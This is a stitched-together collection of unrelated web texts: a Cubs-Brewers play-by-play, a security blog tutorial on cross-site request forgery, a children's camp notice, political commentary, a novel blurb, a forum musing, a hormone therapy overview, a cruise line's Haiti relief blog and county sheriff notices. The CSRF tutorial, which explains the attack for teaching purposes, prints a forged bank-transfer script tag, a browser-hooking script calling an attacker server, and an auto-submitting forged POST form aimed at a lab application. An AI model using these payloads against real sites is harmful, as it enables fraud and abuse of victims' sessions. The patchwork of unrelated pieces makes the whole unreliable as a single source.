Aramis Ramirez takes a couple of balls to start the Cubs' half of the second. Ball four high and Ramirez takes a walk. Fukudome digs in and a bunch of shirtless kids in the bleachers have his name spelled out on their chests. Gotta support the team, I guess. Fukudome pokes one the other way. Braun starts in, retreats and the ball goes over his head. Ramirez takes third on the gift double. DeRosa bounces one towards third that eats up Bill Hall, allowing Ramirez to score. Runners on first and third. That ball took a big hop off the dirt and bounced over Hall's glove. Credit Roger Bossard. Soto knocks in Fukudome with a long flyball to center. DeRosa did not advance from first on the play. Pie singles up the middle past a diving Hardy. Yes, you read that right. Ryan Dempster with a bat in his hand with runners on first and second and one out. Dempster bunts the first pitch foul. And the second one. He takes two balls. He bunts foul what would've been ball three for the second out. Soriano grounds to short and they force Pie at second. But we're all tied up.
Cubs 2, Brewers 2
Third inning
Jason Kendall grounds out to short to start the third. Weeks beats out a slow roller to short. Theriot made a nice play on it but the throw was just late. Gwynn takes a called third strike on a tailing fastball over the inside corner. Dempster throws one up and in on Fielder. Weeks steals second on the next pitch. Fielder grounds out to short right with the shift on.
Theriot breaks his bat grounding out to third. Lee grounds out to third on the first pitch. Ramirez sends one deep to center but not deep enought. Gwynn gloves it at the edge of the track.
Cubs 2, Brewers 2

Mention Cross-site Request Forgery, or CSRF and eyes will glaze over. Its just one of those subjects that is mysteriously difficult for most to grasp, though its really not all that complicated.
Briefly, a successful CSRF attack involves tricking a user who has a valid session open within an application (bank, web mail, blog, etc.) to submit a request to that application in which the application happily processes the malicious request as if the client consciously made the request themselves. Because the browser automatically resubmits unexpired cookies by design to domains in its cache, the attack succeeds as the vulnerable application has no way to determine this request was not legitimately made. Clear as mud?
Time for an oversimplified example:
Upon login, your bank issues you a cookie which is stored in your browser for a particular period of time, the expiration of which is set by the application.
The banking application also has some predictable parameters in one (or more) of its functions, let's say the transfer_funds function. This function works like this: when you want to transfer funds from your savings to your checking, the browser request looks like this:
Simple to see what happening here: transfer 100.00 to account 8117
The attack then flows like this: A malicious individual, we'll call him Ed, spams you a link to the embarrassing celebrity photo of the week. Sure you arrive at the page displaying the latest arrest of some over-privileged twenty-something, but embedded in the page is another gift, arguably much more entertaining, code that calls out to your banking application's vulnerable function:
<script src=http://mylocalbank/transfer_funds.asp?to_acct=1337&amount=10000.00/>
Now if you have an active session, let's say you are currently logged into your bank, or you didn't properly log out, this transfer will complete successfully, but this time you'll send 10K to Evil Ed.
As I mentioned this is a way oversimplified example and there is much taken for granted. For more information, including mitigation techniques, start with OWASP's CSRF page.
As difficult as CSRF can be to explain, it can be just as difficult to demonstrate, especially if the vulnerable request is made with a POST as opposed to a GET.
There are some tools to help with this like Monkeyfist or you can create your own custom forms, but I recently stumbled upon the functionality in the Cross-Site Scripting Framework (XSSF) that helps make demonstrating CSRF and its associated risks a breeze.
In case you don't know, XSSF is a framework that is loaded into the Metasploit Framework. Tim Tomes posted a really nice introduction recently on PDC.
For this demonstration I will be using BT5, MSF, the Burp Suite and Mutillidae.
The scenario: Our victim lives behind a firewall. It has a private IP address that is non-routable and thereby unreachable to the attacker. The victim will however visit our malicious site and execute our code, thereby hooking the client browser.
Note: an active session is required and our application must have predictable parameters.
Our attacker is going to attempt to force any hooked browsers to post a blog entry into the vulnerable blogging application, in this case Mutillidae.
Let's quickly look at some key aspects of Mutillidae.
When first visiting the site you are presented with a cookie (PHPSESSIONID):
Upon successful login we recieve a second cookie (uid):
A normal post to the blog looks like this:
Notice both PHPSESSIONID and uid are passed in the POST request.
Here's what the successful blog post looks like:
Next we fire up MSF and load XSSF:
XSSF also has web-based interfaces which provide administration, statistics and logs. View all these URLs with by issuing the command xssf_urls:
Now to hook our victim. To keep this somewhat simple, we'll use the xssf test page to hook our victim browser. Imagine this code is buried within a blog or site offering warez or perhaps the code was delivered via XSS in another or the same vulnerable application.
The XSSF test page includes the underlying code needed to hook our victims:
<script type="text/javascript" src="http://192.168.0.112:8888/loop?interval=5"></script>
In my case the test page is located at http://192.168.0.112:8888/test.html
Once hooked, let's bounce over to the XSSF control page to view our victim. In my case the control page is located at: http://localhost:8889/gui.html?guipage=main:
Now let's setup our CSRF attack. The module is located within MSF at auxiliary/xssf/public/misc/csrf. Here are the default options:
We'll tweak these options to include the parameters needed to mount our CSRF
attack. Most important are vulnWebsite and params:
Once configured enter exploit -j and the malicious script will be pushed down to the hooked browser. Note any exploit can be pushed down to a single or all browsers.
Here's a quick break down of the attack:
The injected script is checking in at regular intervals for instructions from the server. When the attack is launched the client receives a response to the following call:
GET /ask?location=http://192.168.0.112:8888&id=27&time=1320453148253 HTTP/1.1
In the response is included the following code:
f=XSSF_CREATE_IFRAME('csrf', 0, 0)f.src = XSSF_SERVER + 'myframe.html';document.body.appendChild(f);
This code creates an IFRAME from the source of myframe.html
myframe.html contains the following code to create and submit our CSRF attack:
<form id="f" enctype="application/x-www-form-urlencoded" method='POST' action='http://192.168.0.105/mutillidae/index.php?page=add-to-your-blog.php'>
<input type="text" name="csrf-token" value="SecurityIsDisabled"><input type="text" name="blog_entry" value="On second thought, ask someone else. I know NOTHING about security.">
<input type="text" name="add-to-your-blog-php-submit-button" value="Save Blog Entry"></form><script>document.getElementById('f').submit();</script>
Notice there are no cookies being sent in this request. But again, because we have an active session, the browser will send the cookies automatically:
And the resulting blog:
Pretty easy, huh?
I hope this post has made CSRF vulnerabilities just a little easier to understand. I recommend you look into XSSF further as I just scratched the surface of its capabilities. Remember to visit OWASP for effective remediation strategies, such as double-submit cookies and per-page tokens.

NORFOLK - Need something for your children to do during spring break? They can get the ultimate camp experience with the Norfolk Camp Sampler.
The Virginia Zoo, Norfolk Botanical Garden, d'ART Center, Nauticus and Old Dominion University are joining forces for the April 1-5 camp.
Children, ages 5-8, will be able to learn about animals, nature, art, aquatics and more during the five-day, five camp session. Each day will be devoted to a specific adventure: painting at the d'ART Center, walking on the Wisconsin at Nauticus, exploring World of Wonders: A Children's Adventure Garden at the Norfolk Botanical Garden, climbing a rock wall at Old Dominion University and experiencing a close animal encounter at the Virginia Zoo.
Officials say it this cam will help parents answer the question "What would my child like to spend a week doing this summer?"
The Norfolk Camp Sampler is $200 for the week and meets 9 a.m. to 3 p.m., Monday through Friday, at a different attraction each day. Children ages 5 to 8 from across Hampton Roads are encouraged to participate.
The deadline to enroll is March 20, 2013, though available spaces may fill sooner.
For more information and registration, go to the d'Art Center's Camp Sampler page..

I'm with Ed Morrisey on this one; I think this apology is sincere, if not late. Melissa Harris Perry's Twitter apology was hollow and self-serving This is neither. I was unaware of her background and was stunned to learn that a black adopted to a Mormon family could take part in a segment such as this one.
It's possible the comedians went in a direction she didn't expect, them to and got caught up in the moment. But it doesn't seem that way to me. In any event, this apology seems real to me. I know some conservatives will accuse MHP of crocodile tears here. I don't think so.

She'll be able to learn about her passion - anthropology - and it will give her the opportunity to explore her roots. But when she arrives, she receives quite a culture shock. And the closer she comes to finding out about her birth parents, the more apprehensive she gets. Enter Will, the cute guy she first meets on the plane. He and Cece really connect during the program. But can he help her get accustomed to a culture she should already know about, or will she leave China without the answers she's been looking for?

This is something I thought about the other day.
The candies are even in wrappers, so it seems like they could be made at a factory, or maybe just a general food place; but then, the candies are not sold in shops (so how would they make enough money to keep producing?) and the name Rare Candy pretty much implies that they probably aren't a mass produced product.
So any crazy theories on this one? :I

Bioidentical Hormones
Topic Overview
Bioidentical hormones are made in the laboratory and are based on compounds found in plants (usually soy beans or wild yams). Unlike supplements containing soy or wild yam extract, a bioidentical hormone product has been processed by a specially trained compounding pharmacist.
After the plant-based hormone is processed, its structure is said to be identical to the estrogen, progesterone, or androgen hormone your body produces. (Well-designed studies have yet to prove this theory.2) A compounding pharmacist can offer you a custom-made formulation in one of many forms, such as a capsule, skin cream or gel, tablet to dissolve under your tongue, suppository, or nose spray. Some commonly prescribed estrogens and progesterones are bioidenticals, such as Estrace (estradiol).
Just like synthetic hormone replacement therapy, bioidentical hormone replacement is prescribed to increase or stabilize a woman's hormone levels. This is generally done during perimenopause, when hormone levels change unpredictably, and after menopause, when the hormones drop to low levels.
The most important fact to remember about taking bioidentical HRT is that its risks are not yet well understood. It may have the same breast cancer, stroke, blood clot, heart disease, and dementia risks that synthetic HRT has.1

I am proud of what our people and our ships are doing and below John Weis gives some very specific examples of great contributions being made by great Royal Caribbean people and their family members
The ships going back to Labadee, including Navigator of the Seas today, are obviously making a very valuable contribution to the relief effort by offloading supplies at Labadee. The media understand this and generally have written and spoken about the relief effort in positive terms. But in the last 24 hours, sparked by an article in the Guardian in the UK, a different and more critical view has emerged that questions how our guests can justify having a good time in Labadee when there is such misery less than 100 miles away.
My view is this — it isn't better to replace a visit to Labadee (or for that matter, to stay on the ship while it's docked in Labadee) with a visit to another destination for a vacation. Why? Because being on the island and generating economic activity for the straw market vendors, the hair-braiders and our 230 employees helps with relief while being somewhere else does not help. These 500 people are going to need to support a much larger network of family and friends, including many who are in (or are missing in) the earthquake zone. Also, the north is going to bear a good part of the burden of the agony of the south, and the more economic support there is to the north, the better able the north will be to bear this burden. People enjoying themselves is what we do. People enjoying themselves in Labadee helps with relief. We support our guests who choose to help in this way which is consistent with our nearly 30 year history in Haiti.
To John:
The team has been working through this holiday weekend and has been in contact with several people on the ground in Port Au Prince so I wanted to focus this blog on the efforts that are taking place there. We have all come to appreciate the resilience of the Haitian people and I think its important to share with you some of the positive things that are happening on the ground that are being coordinated by regular people like you and I.
Maryse Kedar, the President SOLANO, which is our company in Haiti, is an incredible woman. Despite some of their own losses, her and her team have started organizing their own relief efforts in Petionville by coordinating a water distribution process. She obtained access to a large water truck and found a safe water source for consumption and has orchestrated the distribution of this critical resource.
Fritz Montlaifir who is the brother of our close colleague Martine Pasquet is working with businesses in Port Au Prince to organize all available trucks to carry supplies from Labadee to Port Au Prince. He is also using his hotel as a first aid station and a central point to distribute supplies.
Also we have received a flood of inquires from the Haitian community in the US and Florida asking how they can help and what they can do to coordinate relief efforts in partnership with Royal Caribbean.
These are the types of people that are going to make the difference and help in Haiti's recovery over the long term.
Finally, I want to again ask for you support by donating to one of the charities we have partnered with. Cash donations to the Food for the Poor or PADF is still the best way to show your support. I encourage you to make a financial contribution at www.foodforthepoor.org/royalcaribbean. Again, no matter how small, every contribution counts towards helping Haiti through this horrendous time.

Effective June 1, 2012, the Hinsdale County Sheriff's Office will collect a $50 fee for more than two false alarms in the same calendar year at the same residence or business. Recently, we have experienced several false alarms from homes and local businesses. Each alarm must be treated as a potential criminal incident and officers respond accordingly. These false alarms are distracting and costly to the agency. Therefore, we will absorb the cost of two false alarms at the same location in a calendar year but will charge for any false alarm that year above two. This policy is effective June 1, 2012, and is not retroactive. For 2012, the "free" false alarms will begin June 1st.
The Sheriff's Office will continue to answer all alarms and there will be no charge for alarms representing an actual unauthorized intrusion/fire/freezing/etc into residential or commercial premises. Any citizen who wishes to discuss this policy is invited to contact the Sheriff at 970.944.2291.
Signed, Sheriff Ron Bruce May 30, 2012
Our Mission Statement
To ensure a safe and secure environment for all persons in Hinsdale County by providing professional law enforcement through responsive, caring, and dedicated service.
Change in burn permit system:
Please refer to the ORDINANCE OPEN BURN PERMIT document under Laws & Regulations.
Go to .http://westregion.org and click on "Code Red" to register your cell phone and/or land line so that we can contact you through the reverse 911 system to advise you of emergency events such as fire danger, avalanche or flood conditions.

Current Road Conditions
Sheriff Bruce assists Rene Gianola to return a vehicle to the highway on January 1, 2014. This occurred on Highway 149 at MM 70 which is just south of Lake City. No injuries were involved in this accident. Please drive carefully on ice covered roads in the winter.
Current Closures
All County roads are now open. Cinnamon and Engineer Passes are in good shape and ready for four wheel drive with high clearance. Please be sure that you pull over and stop if someone behind you wants to pass on a mountain road. Common courtesy is the number one weapon against mountain traffic problems.
